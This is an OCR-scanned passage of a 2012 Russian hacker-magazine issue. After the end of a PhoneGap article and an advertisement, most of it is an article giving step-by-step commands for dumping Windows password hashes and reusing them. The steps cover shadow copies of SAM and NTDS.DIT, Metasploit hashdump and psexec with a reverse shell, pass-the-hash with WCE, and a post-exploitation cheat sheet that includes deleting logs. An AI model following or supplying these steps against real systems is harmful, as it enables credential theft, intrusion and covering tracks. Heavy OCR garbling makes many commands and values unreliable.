Эта технология nоддерживает основные платформы- iOS и An­dгoid. Фреймворк нацелен в основном на разработку игр. Еще бы,

ведь разработчики заявляют о высококачественной о пти мизации

на OpenGL. Бесплатной версии у nлатформы нет, а цен а довольно-таки

кусачая: $199 в год за лицензию для одной nлатформы и $349 в год для iOS и Andгoid. Согоnа nредлагает свою IDE и эмуляторы устройств .

Приложения под Согоnа пишут на языке, похожем на JavaScгipt.

01.0

~ ~Удалить все Точки Карта

я на месте

Широта : 56.84484567007557 ...

я на месте

Широта : 56.84583899763894 ...

Работающее РhопеGар-nриложение

nриложение на iOS, необходимо быть авторизированным разработ­

ч иком iOS !другими словами, быть nодnисанным на iOS D eve l ope г

Pгogгaml. Этим nридется заморочиться только в случае разра­ботки nриложе н ий для nродукции App le, с другими nлатформами IAndгoid, Windows Phonel все намного nр още. У тех, кто обучается в вузе, ест ь шан с nолучить достуn к nрограмм е бесnлатно благо­

даря каким-нибудь льготам. Все остал ьны е должны nлатить $99 в год для участия в nрограмме . Apple выдает сертификат, которым ты сможешь n одnисывать свой код. П одn исанное nриложение

разрешается за nускать на iOS и расnространять в Арр Stoгe. Если ты н е студе нт, а $99 для невинных эксnериментов тебе nока жалко, то есть и другой сnособ - обмануть систему. Ты можешь создать

самоnодnисанный сертифи кат для верификации кода и за n у-

стить мобильную nрограмму на джейлбрейкнутом iОS -устройстве

!не буду на этом останавливаться, nотому что все максимально

nодробн о расnисано в этой статье: Ьit .l y/tD6xA!I . Так или иначе , ты вскоре увидишь работающее nриложениена экране своего

мобильного телефона. Остан авливай секундомер. Сколько времени

у тебя на это ушл о?

ЗАКЛЮЧЕНИЕ Мы создали nростое мобил ьн ое веб-nриложение и в несколько

nростых шагов nортировали его на nлатформу iOS с n омощью PhoneGap. Мы не наnисали ни строчки кода на Objective-C, но nолучили nрограмму nриличного качества, nотратив минимум

времени на nеренос и изучение API PhoneGap. Если ты nред­nочитаешь другую nлатформу, наnример An dгo id или Windows MoЬile 7, то ты так же легко, без каких-либо изменений nод эти nлатформы, сможешь собрать наше nриложение !для каждой из них есть хороший вводный мануал и видеоурок: phonegap . com/sta г t l . Что бы убедиться в состоя тельно сти nлатформы, можно nосмотреть на уже г о товые nриложения на Ph oneGap, которые разработчики технологии собрали в сnециальной га­

лерее lphonegap .com/apps]. П о факту PhoneGap- зто идеаль­ная nл атформа для создания как минимум nр о тоти n а буд ущего

nриложения. Ее главными nр еимуществами являются быстрота

и минимум затратат, чем активно nользуются стартаnы, которые

во всех отношениях ограничены в ресурсах. Если nриложение

nопрет, а внутренности на HTML+JS тебя по какой -то nричине

nерестанут устраи вать, всегда можно будет n ортировать nри­

ложениена нативный язык. Не могу не сказат ь , чт о Ph one Gap изначально разрабатывался комnанией NitoЬi как открытый

nроект lре n озиторий расnолагаетс я на GitHub: github .com/ phonegap l. Исходники и дальше будут оста ваться открытым , хо тя в октябре nрошлого года комnанию Ni toЬi куnил Adobe . Нужно ли говорить, какие nерсnективы nоявляются у nр оекта nри nод­

держке в лице такого гиганта? :х:

ХАКЕР 01 / 156/201 2

Page 43: haker

КУРЕНИЕ УБИВАЕТ

Реклама . Товар произведен в соответствии с Техническим Регламентом на табачную продукцию .

Page 44: haker

PCZONE Антон «Ant» Жуков la.zhukov!Oreal.xakep.rul

РЕ ЕПТОВ ПРИГ ТОВЛЕНИЯ WINDOWS-ПAPOЛEИ

КАК СДАМПИТЬ И ИСПОЛЬЗОВАТЬ ХЕШИ ПАРОЛЕЙ ОТ УЧЕТОК WINDOWS-CИCTEMЫ

Эта статья представляет собой полный

сборник рецептов, описывающих, как

сдампить хеши пользовательских паролей,

восстановить исходный пасс путем

выполнения брутфорса и получить с помощью

извлеченного хеша доступ к защищенным

ресурсам, используя недоработки протокола

аутентификации NTLM. Минимум теории­только практика. Мы собрали все в одном

месте и создали полный мануал.

ГДЕ ПАРОЛИ? Сразу отвечу на вопрос о том, где хранятся хеш и паралей в системе. В

общем случае их можно извлечь из трех мест :

• из локальной SАМ-базы, где хранятся LM/NTLM-xeши локальных пользователей ;

• из кеш а LSA, в который попадают LM/NTLM-xeши доменных поль­зователей, стираемые после перезагруз к и ;

• из специального кеша, где сохраняются МSСасhе-хеши паралей

десяти последних пользователей, которые авторизовались на дан­

ном хаете !па роли кешируются, чтобы можно было войти в систему, если связ ь с доменом временно отсутствует ! .

Е сли используется контроллер домена , есть еще дО-хранилище.

Важно понимать одно: из каждого указанного места парали можно

сдам пить ! Большинство приведенных ниже приемов давно извест­

ны, но мы решили сделать своего рода полный сборник рецептов , к

которому ты всегда сможешь обратиться при необходимости. Ниже 7 готовых к употреблению реце птов .

1 PWDUMP И FGDUMP

Начнем с ситуации, когда у на с есть физический доступ к интересующей

нас системе . В этом случае NTLM/LM-xeши можно сдампить с помощью специальных утилит. В большинстве своем эти тулзы требуют высоких

привилегий, так как они необходимы для DLL-инжекта с помощью

SeDebugPгivilege . Будем для простоты считать, что у нас есть аккаунт с

правами администратора la еще лучше NT AUTHORIТY\SYSTEMI . Если имеется физический доступ, сдамить хеш и до вольно просто :

есть много способов, к тому же всегда можно загрузить с флешки

!или LiveCDI, например, Коп-Вооt lwww.piotrbaпia .com/all/kon-boot l, чтобы войти в систему под любым пользователем . Есть и много дру­

гих ха ков lв том числе для повышения привилегий до NT AUTHORITY\ SYSTEM с локального админаl, о которых мы не раз писали в рубрике

EasyHack в прошлом году . Но вернемся к процессу извлечения

хешей. Самыми известными утилитами для создания дампа хешей

являются pwd ump lwww.foofus .net/-fizzgig/pwdumpl и fgdump lwww. foofus .net/-fizzgig/fgdumpl. Работать с этими тупзам и достаточно просто, да и по функционалу они очень похожи. Для дампа хешей до­

статочно просто запустить проги :

pwdump localhost fgdump . exe

Первая утилита выводит найденные хешинепосредственно в

консоль . Вторая же сохраняет результат в файлах 127.0.0.1.PWDUMP lхеши паралей локальных пользователей! и 127.0.0.1 .CACHEDUMP lзакешированные хеш и паралей доменных пользователей! .

ХАКЕР 01/156/2012

Page 45: haker

Одна из наиболее интересных опций, которую поддерживают обе

утилиты , позволяет дампить хе ш и с удаленных машин. Чтобы про вер ­

нуть этот фокус, скажем, с помощью pwdump, надо выполнить :

> pwdump - о mytarget . log -u MYDOMAIN\someuser -р \ ' lamepassword' 10 .1.1.1

Здесь 10.1.1 .1 - адрес удаленной машины, MYDOMAIN\ someuseг- аккаунт пользователя, la mepasswoгd- па роль пользо­

вателя, а mytaгget.log - файл для сохранения результатов. В отличие

от pwdump, fgdump умеет дампить хеши не только с одной машины, а сразу с нескольких :

> fgdump .exe -f hostfile . txt -u MYDOMAIN\someuser -Т 10

В данном случае hostfile.txt- файл, содержащи й список хостов, <<-Т

1 О >> - количество параллельна работающих потоков. П олученный хеш

можно попробовать сб рутфорсить с помощью сп ециальных утилит, чтобы

узнать исходный пасс !ищи целую п одборку подходящих тулз на врезке!. Примечательно, что некоторые из них для большего удобства под­

держивают формат вывода fgdump.exe.

2 ДАМП ПАРОЛЕЙ С ПОМОЩЬЮ VOLUME SHAOOW СОРУ SERVICE

Если утилитам вроде pwdump и fgdump сто лет в обед, то способ дам­пинга па ролей, о котором пойдет речь далее, появился относительно

недавно . Что круч е всего, он вообще н е требует сторон ни х инстру­

ментов и задействует только возможности самой системы . Как мы

уже знаем, хеш и па ролей локальных пользо вател ей хранятся в том

числе и в файле SAM, правда, в за шифрованном виде. Поэтому, чтобы

прочитать их, требуется еще один файл- SYSTEM . Эти два файла представляют собой системные ветви реестра, которые ОС постоянно

использует, поэтому доступ к ним неваэмажен даже из-под админи­

стратора. Из-за этого многим приложениям, которые извлекают хеш и

па ролей , приходится идти на ухи щрения, чтобы получить доступ к

этим ветвям. Мы же, чтобы скопировать эти файлы, воспользуемся

легальным механизмом, которы й предоставляет сама ОС. Этот меха­

низм, позволяющий делать «м гновенный снимок>> тома, называется

Volume Shadow Сору Seгvice !теневое копирование тома! . Он появился в ОС Windows начиная с версий ХР и Sе гvег 2003. Эта технология автоматически используется, например, при создании архива System State с помощью утилиты ntbackup или при создании снимка для общей папки IVolume Shadow Сору fог Shaгed Foldeгs l . Суть идеи состоит в том , что при теневом копировании будут созда ны копии

важных системных файлов lв частности, SAM и SYSTEMI, до ступ к

которым мы сможем легко получить. Чтобы избавиться от лишней

ВЫКЛЮЧАЕМ КЕШИРОВАНИЕ

ХЕШЕЙ ПАРОЛЕЙ

Как известно, Wi ndows кеширует хе ш и пар алей и логины дом енны х

пользователей, что п озволяет зайти на машину, если контроллер до­

мена отключен и недоступен. Если пользователь вводит правильный

лаги н и па роль, то при авторизации система сохра няет хеш па рол я на

диске. Как ты сам понимаешь, держать такие данные н а диске - не

самое лучшее решение с точ ки зрения безопасности, так что эту функ­

цию лучше отключить. Для этого необходимо уста новить ключ НКЕУ_

LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CuггentVeгsion\ Winlogon\cachedlogonscount в з начение «0>>. Затем надо перезагрузить компьютер, чтобы удалить все закешированные ранее пароли . С этого

момента в инда не будет кешировать п а роли п ользователей домена.

ХАКЕР 01/156/2012

Семь рецептов пригото впения Wiпdows-пapoлeй

Получаем хзwи локальных nользователей nри nомощи pwdump

Подменяем свои данные на данные другого nользователя nри nомощи Windows Cгedentials Editoг (WCEI

работы в консоли, воспользуемся небольшим скриптиком vssown.vbs itools .l anmasteг53 . com/vssown .v bs l, управляющим создан ием копий .

Сценарий ты найдешь на нашем ди ске. Для начала за пускаем сервис

теневого копирования: cscript vssown. vbs /start. Затем создаем новую теневую копию: cscript vssown.vbs /create. Теперь смотрим список всех теневых копий: cscript vssown. vbs /list.

Созданная нам и копия будет самой последней. Из всей инфор­

мации нас интересует Device object со значением «\\ ?\GLOBALROOT\ Device\HaгddiskVolumeShadowCopy14 >> !здесь 14 - номер теневой копии!. Дальнейшие манипуляции предельно просты.

1. Копируем интересующие нас файлы:

сору \\?\GLOBALROOT \ Device\HarddiskVolume5hadowCopy14\ wi ndows\system32 \ config \ SYSTEM . сору \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32 \config\SAM .

2. Все, теперь эти файлы можно скормить какой-нибудь утилите типа

SAM inside l i n si d ep гo.com/гus/saminsi d e.shtm l l для расшифровки

полученных хешей.

з ДАМП ПАРОЛЕЙ_ВСЕХ ПОЛЬЗОВАТЕЛЕИ ДОМЕНА!

Интересно, что используя предыдущий прием, можно л е гко слить

хеш и паралей не тол ько локальных, н о и вообще всех доменных

пользователей! Правда , только если у нас есть доступ к контроллеру

домена. Предп ол ожим, мы создали теневую копию и ско пировал и

файлы SAM и SYSTEM. Active Diгecto гy хранит данные о пользовате­

лях в файле NTDS.DIT, так что нужно скопиро вать и его:

сору \\?\GLOBALROOT\ Device \ HarddiskVolume5hadowCopy14\ windows\ntds\ntds.dit .

Данные о пользователях хра нятся в за шифрованном виде, позто ­

му их нужно будет расшифровывать с п омощью файла SYSTEM. Итак ,

что мы имеем? У нас есть файлы SYSTEM и NTDS.DIT, но как нам n олучить сnисок пользователей и их хе ш ей? До недавнего времени

это было не просто, так как бесплатны х утилит, с nособ ных распар ­

сить NTDS.DIT и расшифровать хеши, н е существовало . Но недавно

исследователь по имени Csaba Вагtа выпустил тулкит, который

умеет разбирать файл NTDS.DI T и извлекать оттуда хе ш и. В есь инструментарий доступен п о адресу csa babaгta.com/down l oads/

Page 46: haker

PCZONE

ntds dump hash.zip. Посмотрим, как этот тулкит работает. Для дальнейших маниnуляций будем исnользовать BackTгack5 !nодой­дет любой другой Linuх-дистрибутив], хотя все то же самое можно

nровернуть и под виндой. Загружаемся, скачиваем архив тулкита и

распаковываем его. Далее собираем библиотеку libesedb:

cd libesedb chmod +х configure ./configure && make

Теперь можно приступать к дампу хэшей. Прежде всего извлекаем

таблицу, содержащую зашифрованные данные:

cd esedbtools . / esedbdumphash .. / .. /ntds .dit

У нас появился файл /l ibe sedb/esedbtools/ntds.dit.expoгt/datatable. Уже профит. Теперь его надо расшифровать при помощи ключа, кото­

рый содержится в SYSTEM:

cd .. / .. /creddump/ python ./dsdump.py .. /SYSTEM

•. /libesedb/esedbtools/ntds.dit.export/datataЬle

Готово! На выходе получаем хеш и всех пользователей домена!

Интересно, что можно извлечь еще и предыдущие пароли пользо­

вателей !их хеши] . Для этого в инструментарии имеется отдельная утилита, которую легко задействовать: python . / dsdumphistory . ру . . /system .. /libesedb/esedbtools/ntds.dit.export /datataЬle.

Если их удастся взломать, вполне можно проследить закономер­

ность, в соответствии с которой пользователь меняет свои па роли

!она очень часто существует] .

' HASHGRAB2+ SAMDUMP2

Чтобы сдампить хеш и, необязательно логиниться в системе.

Опять же, если есть физический доступ к компьютеру, то можно

не только загрузить с LiveCO утилиту для сброса пароля !скажем, Offline NT Passwoгd & Registгy Edi t oг], но и легко сдампить хеши с помощью специальногософта-еще бы , ведь никакие политики

доступа к системным файлам тут не действуют. Мы воспользуем­

ся утилитами HashGгab2l py 1 337 . get- г oot . com /too l s/has h gгab2 . .Щ!] и samsump2 l souгcefoгge.net/pгojec t s/ophcгack/f iles/ samdump2/ 2.0.1], которые можно запустить практически из любого LivеСО-дистрибутива . HashGгab2 автоматически монтирует все

Windows-paздeлы, которые может найти, и при nомощи samdump2 извлекает логины и хеш и па ролей и з файлов SAM и SYSTEM . Вот

о .. - ..... о •-е ... ~"" ... ш"' 1000 e su~т_ . .. s.o 1011.1: O u<•c lOM O tntuo.,. о ........

<~..Ы.d ~

'"'"'""'" <Di ..ЫOd ~

<Di нt>lod ~

m

•СММIМ~

11111111111111

<fmptp

"' . ...

Расшифровываем парали при помощи SAMiпside

как это выглядит на практике:

> sudo . /hashgrab2.py HashGrab v2.e Ьу sЗmyen http: // InterNeT.net

f .. 5ae7te7 11tttlA ... Z01?1..0."'61 D:IAМIS , •. ---··· --···

Contact: RuSH4ck3R[at]gmail(dot]com [*] Mounted /dev/sdal to /mnt/jomATB [*] Mounted /dev/sdЬl to / mnt / AZwJUs [*] Copying SAM and SYSTEM files ... [ *] Unmounting partitions . .. [*] Deleting mount directories .. • [*] Deleting [ ' . / jomATB'] >$ ls hashgrab2.py jomATB.txt >$ cat . /jomATB.txt Administrator : HASH Guest:Sel:HASH sзmyen : leee:ндsн

HomeGroupUser$:1882:HASH

Полученные хеш и тут же можно скормить брутфорсеру.

5 возможности METASPLOIT

Допустим теперь, что у нас нет физического доступа к компьютеру. Пусть

вместо этого у нас имеется удаленный шелл и в идеале Меtегргеtег. В

Metasploit Fгamewoгk уже встроен функционал для извлечения списка пользователей и хешей паролей . Делается это в одну команду:

meterpreter > run post/windows/gather/hashdump

В результате мы получаем список пользователей и хешей. Н о

о станавливаться н а достигнутом не стоит . Metasploit- штука много­функциональная, поэтому можно попробовать использовать получен­

ные хеш и для доступа к другим компьютерам в сети жертвы- вдруг

подойдут. Для этого пригодится модуль PsExec:

meterpreter > use exploit/windows/smb/psexec

ПРОГРАММЫ ДЛЯ ВЗЛОМАХЕШ ЕЙ

SAMinside insidepro.comlrus/saminside.shtml

Пожалуй, самая популярная программа для взлома

NТLМ-хешей. Позволяет импортировать свыше де­

сяти типов данных и использовать шесть видов атак

для восстановления па ролей пользователей.Код

брутфорсера полностью написан на ас м е, что обе ­

спечивает очень высокую скорость nеребора. Очень

важно, что программа корректно извлекает имена

и па роли пользователей Windows в национальных кодировках символов.

lm2ntcrack www.xmco.fr/lm2ntcracklindex .html

Небольшая программка, которая может выручить

в трудный момент. Она позволяетвзломать NТ­

хеш, когда LМ-парольуже известен. Вся фишка

в том, что LМ-пароль регистронезависимый, а

NT -регистрозависимый и как раз по нему и происходит проверка. Таким образом, е слиты знаешь, что LM-пapoль-ADMINISTRATOR, но не

знаешь, какие буквы заглавные, а какие нет, тебе

поможет lm2пtcгa c k .

ighashgpu www golubev.com/ hashgpu.htm

Процесс подбора очень трудоемкий и занимает много времени. Поэтому, чтобы как-то егоуско­

рит~целесообразноиспользоватьресурсысамо ­

го мощногоустройства в системе-видеокарты.

Программаighаshgрuпозволяетзадействовать GРUдля взлома хеш ей MD4, MD5, SHA1, NTLM, Ога с lе 11g, MySQL5, MSSQL. Если при этом исполь­зовать атаку по словарю, успешный результат

можно будет получить намного быстрее .

ХАКЕР 01 /156/201 2

Page 47: haker

meterpreter > set payload wiпdows/meterpreter/reverse_tcp meterpreter > set rhost (адрес удаленного хоста]

meterpreter > set smbpass (ранее полученный хеш

пользователя]

meterpreter > set smbuser [логин пользователя]

meterpreter > set lhost [адрес локальной машины] meterpreter > exploit meterpreter > shell - получили шелл на удаленной машине

Как видишь, все происходит автоматически, без всяких сложно­

стей. Чтобы дальше ковыряться с любыми файлами системы, полезно

сразу поднять права. Получить их можно прямо из Метерпретера, в

котором есть простая команда getsystem. Этот модуль попробует под­нять права в ОС, используя уязвимости MS09-012, а также нашумев­шую уязвимость MS10-015 [KiTrapDDI и не только.

6 ТЕХНИКА PASS-THE-HASH

В обеих реализациях протокола NTLM есть большая дырка. Для аутентификации достаточно знать только хеш пользователя, то есть

даже брутить ничего не надо . Достал хеш- и можешь лазить по

сетке с правами скомпрометированного юзера :1. Соответствую-щий метод, который носит название Pass The Hash, разработан аж в 1997 году. Одной из его самых известных реализацией является набор утилит Pass-the-Hash Toolkit. В него входит три утилиты [oss. coresecu rity.com/projects/pshtoolkit .htmll: IAM.EXE, WHOSTHERE. ЕХЕ и GENHASH.EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NТ-хешей переданного ей пароля . WHOSTHERE. ЕХЕ, выводит всю информацию о логин-сессиях, которую операци­

онная система хранит в памяти. Тулза отображает информацию о

пользователях, которые на данный момент залогиненыв системе:

имя юзера, домен/рабочую группу и NТLМ-хеши пароля. Утилита IAM. ЕХЕ позволяет прикинуться другим пользователем при получении

доступа к какой -либо папке на удаленной машине, подменяя данные

текущего пользователя [лаги н, хеш пароля, домен и т. д.l, когда они в закешированном виде отправляются удаленной системе, чтобы

она могла идентифицировать пользователя и решить, предоставлять

ли ему доступ к запрашиваемому ресурсу. После успешной подмены

все сетевые соединения с удаленным и серверами, осуществляющие

аутентификацию с помощью NТLМ-хешей, используют подмененные

данные, что позволяет получить доступ к <<чужой» шаре. Рассмотрим

примерный сценарий использования:

• whosthere.exe- получаем данные всех залогиненных

пользователей;

• iam.exe -h administrator:mydomain:AAD384358514@4EEAADЗB 4358514@4EE:31DбCFEeD16AE931873C59D7EeCe89Ce - подменяем

свои данные на данные другого пользователя.

Вот, собственно, и все, теперь мы имеем права для доступа к

сетевым ресурсам другого пользователя.

CUDA-Multiforcer www.cгyptoh aze.com/multi fo гceг. php

ophcrack о pfi cr а ck.so u rceforg е . net

Семь рецептов приготовления Windows-napoлeй

бо~~·-~

-' "'~O.I!ii l!i! + il v ·- ~ """"'"'" oq~ r.. O t Jt

ll3«.PJI~ ••• :I08Dt69'1D71Ьiill:\117,,,

·~· AI031НRSI~ •• 31D6CI'!IXIIW931 ••• DlofSOC1(0lll~ ••

АЮ .. 3б1151~ .•.

Cain&Abel- еще одна замечательная ту л за для брутфорса NTML хзwей !кроме этого поддерживает взлом хзwей большого количества других алгоритмов!

7 WINDOWS CREDENTIALS EDITOR

-

WCE представляет собой аналог Pass-the-Hash Toolkit'a, однако здесь весь функционал сосредоточен в одном исполняемом файле. Этот

инструмент мне нравится больше . При запуске без параметров при­

ложение возвращает список пользователей, залогиненных на данный

момент в системе [утилита вытаскивает NTLM/LM-xeши из памяти!:

wce.exe -1

После это го можно выбрать из них подходящего кандидата для

наших черных дел и воспользоваться его данными. Допустим , нам

нужно подменить свои данные на данные другого пользователя и за­

пустить какую-нибудь программу якобы уже из-под него:

wce.exe -s <userпame>:<domai п >:< lmhash >:<пthas h> \ -с <program> .

Тогда выполняем следующую команду:

wce.exe -s user:Victim:1F27ACDE849935BBAADЗB435B51484EE :579118C49145815C47ECD267657D3174 -с "c: \ Program Files \ Iпterпet Explorer \ iexplore . exe"

Здесь <<-S» <<добавляет» нового пользователя с именем user и до ­

меном Victim, за которыми следует LM- и NTLM-xeщ а <<-С>> указыва­

ет, какую программу следует запустить под этим пользователем. Как

видишь, все довольно просто. :1

ЗАКЛЮЧЕНИЕ Вот, собственно, и все . Мы рассмотрели все наиболее часто встре­

чающиеся ситуации. На самом деле существует гораздо больше

способов, позволяющих увести [например, с помощью снифераl и использовать хеш и, но в большинстве своем они сводятся к рассмо­

тренным выше методам. ::Х:

John the Ripper www.openwall .cam

Еще одна утилита, использующая мощь графи­

ческой карты для взлома различных хешей. Как

можно догадаться по названию, ориентирована

на видеокарты фирмы пVidia. Поддерживает вну­

шительный список хеш ей : MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5_PS: md5[$pass.$saltl , MD5_SP: md5[$salt.$passl, SSHA: base64[sha1 [$pass.$saltll, DOUBLEMD5: md5[md5[$passil, TRIPLEMD5, LM: Microsoft LaпMan hash и др.

Программадля восстановления nаралей Windows с использованием гаiпЬоw-таблиц. В такихтабли­

цах в особой форме содержатся предварительно

рассчитанные хеш и для разных паролей . Таким

образом, найдя заданный хэш в таблице, мы бы­

стро получаем готовый па роль. Успех напрямую

зависит от размера гаinЬоw-таблицы. Так что,

если не хочется брутить па роль тупым перебором,

рекомендуюскачатьтабличкупобольше.

Официальная версия этого легендарного брутфор­

сера паралей не поддерживает взлом NТLМ-хешей,

но энтузиасты не могли не прокачать функционал

любимой хак-тулзы. Выпущен специальныйjumЬо­

патч, который позволяет брутфорсить более десяти

дополнительных видов хеш ей, в том числе NTLM. На офсайте есть как diff'ы, которые можно наложить

на оригинальные сорцы, так и готовые к использо­

ванию бинарники [в том числе для win321 .

ХАКЕР 01/156/2012

Page 48: haker

Правила

Выяснилось страшное. Многие не знают, что делать, получив шелл к удаленной Windows-cиcтeмe, как

с ним быть? Консоль пугает своей простотой и пр и водит в растерянность . Что нужно знать пентестеру,

чтобы чувствовать себя комфортнее? Наши ответы мы оформили в виде таблиц-шпаргалок, разбив

заготовки полезных команд на несколько разделов .

РАБОТА

С СЕТЬЮ

Посnе поnучения доступа к одной системе пентестерам и зnоумыwnенникам зачастую удается развить атаку и до­

браться до других рабочих станций и серверов в nокаnьной сети . Дnя изучения топологии и структуры сети, однако,

nригодны не тоnько известные сканеры безопасности (вроде nmap, который нужно еще как-то загрузить на маwину), но и некоторые стандартные команды системы.

ipconf ig /all

ipconfig /displaydns

netstat - nabo

netstat -s -р [tcpludplicpmlip]

j netstat -г : route print

Отображает полную информацию о сетевых адаптерах.

Отоб ражает локальн ы й D NS-кeш .

. ........................................... -~

Отображает все сетевые ТСР/UОР-соединения. Ключ «-Ь» позволяет сразу получить еще и имен а п роцессов, которыми эти соединения были установлены, однако эта команда требует администраторских прав .

' Команда пetsta t отоб ражает статистику и список соеди нений по какому-либо п ротоколу [ТСР, UDP, ICMP, IPI. ·: .. ······· j Для вывода табли цы маршрутизации пригодна любая из этих команд . С их помощью можно п олуч ить : информацию о других п одсетях и статических маршрутах.

'''''''f' .,... .... ...................... . . ..... ....... . ..................... . ..................... .

Вот таким об разом можн о посмотреть, какие соедин е н ия уста новл е ны н а п о ртах, содержащих з начени я 445. j netstat -па 1 findstr :445

net view

net user %USERNAME% /domain

j net accounts ... ............................. ..... ................................ . j .. ~ .e·t ·~.c~~.unts /do~·~·i·~ ............... . ! net localgroup administrators

net localgroup administrators /domain ············· ............ .

!. ".~t .~.~nfig ~o~.~~-t ~ t·i·~-~ ................. ,.... .. .. .

: net share ;, ....

С помощью этой команды через SMB можно найти всехостыв текущей рабочей группе [домене!.

Команда выводит информацию о текущем пользователе домена [убе ри кл ю ч '/domaiп', чтобы получ ить данные о локальном юзереl. Помимо всего проче го, отображаются членство в групп ах, врем я последней установки

па рол я, скри пты для а втозапуска и т. д .

Отображает политику паралей для текущей системы [она может быть переопределена политикой домен а! .

Показы вает п ол ити ку п а рал ей в домене.

Отоб ражает членов локальной группы «Администрато р ы».

Отображает чл е н о в групп ы «Адм ин истраторы >> дл я дом е н а .

Отображает такую информацию, как имя NetBIOS, имя компьютера, пользователя, домена, рабочей груп пы и т. д . ....... .... ... .... ............................ ......................... ... .................... .... ....................................................................... . · Отображает все SМВ -шары .

~ а гр -а Отображает АRР-таблицу локальной машины. . . . . ...... ... ....... ....... .... ... ... ........ ....... ...... ................ ......................... .... . ....................................... .. : type %WINDIR%\System32\drivers\etc\ j hosts

Показывает соде ржимое файла hosts.

Page 49: haker

ИНФОРМАЦИЯ

О СИСТЕМЕ

whoami

whoami /all

qwinsta

vег

set

systeminfo (XP+I

qprocess •

Одна из первостепенных задач поспе поnучения шenna к удаленномухосту-собрать максимум информации о системе.

Приведеиные ниже команды помогут тебе по крупинке воссоздать полный (Фбnик~~ удаленной машины: с какой ОС ты име­

ешь деnо (от этоrо будет зависеть возможность использования тех или иных команд), какие сервисы запущены, какие задачи

определены в планировщике, под каким пользователем выполнен вход в систему, какие у неrо есть привиnеrии и т. д.

Под каким пользователем выполнен вход в систему? Это команда отображает текущего пользователя и домен. Ключ

'/all' позволяет дополнительно получить 510 юз ера, а также имена и 510 групп , к которым он принадлежит !вдруг в этом списке будет группа «Администраторы »? ! .

С сервером, возможно, кто-то работает удаленно . Чтобы узнать об активных RОР-сессиях !подключениях к удаленному рабочему столу!, можно использовать эту команду.

Команда возвращает версию ядра (как uпame в н иксах!, что позволяет точно определить, с какой ОС ты имеешь дело. . ................ ........... ... .... ... ................... ...... ...... ... .................. . .. ......................................... .

Переменные окружения- важная настройка системы. Команда SET выводит их в виде списка, в котором для каждой : переменной указано значение. Обратить внимание стоит в первую очередь на USERDOMAIN, USERNAME, USERPRO-; FILE, НОМЕРАТН, LOGONSERVER, COMPUTERNAME, APPDATA, и ALLUSERPROFILE. Названия говорят сами за себя.

; Эта команда выводит множество сведений о системе, включая именахоста и домена, версию биоса, название сервера : для входа в сеть, настройки сетевых интерфейсов, а также данные об установленных в системе патчах.

~ Если хочешь вывести список процессов в наиболее удобном для чтения виде, надо взять на вооружение эту команду. ~ Для каждого процесса ты получишь имя пользователя, 10 сессии, PID и название бинарника .

. . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . о.. . ................. . ... ~ ............ ~·.. .. . . .. . . .. . . . . . .. . . . . . . . . . .. . . . . . '...... . ............ . '............ . .. . . ........ о. о......... . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . .. .. .. .. . . . . . . . . . ............. ~

; . ~арр·~·~ ·~···· .................................... J. Эта .. к~~.~~~~ . ~.ы~~~ит список терминальных .. :~~~~.~.ов, ~~.т~~~~.~. ~~~.:'пны в домен.~.' ......................................................... ! schtasks /query /fo csv /v > %ТЕМР%

~ Выводит все сервисы в удобном формате csv, после чего их можно слить и более тщательно просмотреть.

at

Команда, запущенная без параметров, показывает все задачи, запланированные с помощью встроенного

планировщика . Но главная фишка этой команды в том , что ее можно использовать для поднятия привилегий до SYS­TEM (работает даже на Wiп7x64l. Например, команда, выполняющая ВАТ-файл do_somethiпg.bat с привилегиями SYSTEM в 15:41 , будет выглядеть так :

at 15 :41 / interactive "d:\pentest\do_somethiпg.bat" Имей в виду, что использовать команду может только администратор .

. , ............................................ ; ............................ .. .............. ..

: schtasks (XP+I

net start или sc query

sc getkeyname "ХХХХХ" sc queryex "ХХХХХ"

tasklist (ХР+)

taskkill [/f] /pid <pid>

~ Отображает все запланированные задачи, которые доступны пользователю для просмотра. В отличие от at, с помощью

.............. , .: .. ~~.~.~~.~.~~ . ~~.п~~~ ~~~~~.~~ .~~~ус~. ~~~~~~.~~~~ .~~~.~~ .~.~~~й пол.~.з~~.~.~~~ ~ lнео~~з.~~:.~.~.~.~. ~~~ ~ ~ 1 ................. , .... .

Отображает все запущенные сервисы

Первая команда позволяет получить key пате интересующего тебя сервиса. После его получения ты можешь запросить статус, PIO и другую информацию о сервисе с помощью второй команды.

................. ... ... ....................................................................... j Еще одна команда для отображения списка процессов.

......................... . ......................... .

taskkill [/f] /im <image_name> Убивает процесс по имени или PIO

.... , ............. ,

....... ! . ~.~~.til · ~·s·i ·n·~~ .~r.i~eS. .................... ......... ~.т~~.~.~~а.е~.~~.~:.ll\и.е ~иски в си~т~·~·~· lд~~ .~с.~о~~~~.~~·~ ·~ ·я · ~:.~~~~ .. ~:..а~~ а~.~ин·~·~.~~~.~~~~~. : ............................................... . : gpresult /z : Выводит по-настоящему большой отчет о групповых политиках . ................................... .-.................................................................. ....................................................................................... , ... , ............................................. ........... :

РАБОТА СЛОГАМИ

wevtutil el

: wevtutil qe <LogName>

В любой системе пишутся norи. Вернее, множество noroв. Ниже приведена небоnьшая подборка команд, с помощью

которых ты сможешь посмотреть нужные тебе журналы или при необходимости удаnить их.

Выводит список всех логов, над которыми далее можно выполнить некоторые операции (просмотреть, удалить и т. д . !.

Получение конкретного лога .

: .. ~~~~.~.~i~ · c·' .. ~.~~.~~.~.~.~~ ........ . ...... . .... ~~~~~·~·~ · У·~.~~~~·~·~·' ·й · ~~~ ............ ............ ...... ................ ..... ................... ............... ............................................................... . : del %WINDIR%\*.Iog /а /s /q /f Брутальный способ удаления всех логов из папки WINDOWS.

Page 50: haker

УДАЛЕННЫЙ ДОСТУП

%windir%\System32\cmd.exe /с ''%SystemRoot%\syst em32\Dism. ехе·· /online /get-features

Стандартные средства Windows не очень-то nозволяют nодключаться к удален­ным хостам no различным nротоколам и nринимать nодключения. Но кое-что с их nомощью все-таки можно nредnринять.

Эту команду можно вып олнить, только если у тебя есть права админ а. но зато о н а позволяет вкл ючить многие опции

Windows Vista SP1/7/2008/2008R2, которые no умолчанию отключены, нап ри мер te lnet или ftр- клиент ..

................................................................... . %windir%\System32\cmd.exe /с ''%SystemRoot%\system32\Dism. ехе" /online /enaЬie-feature 1 featurename:TFTP

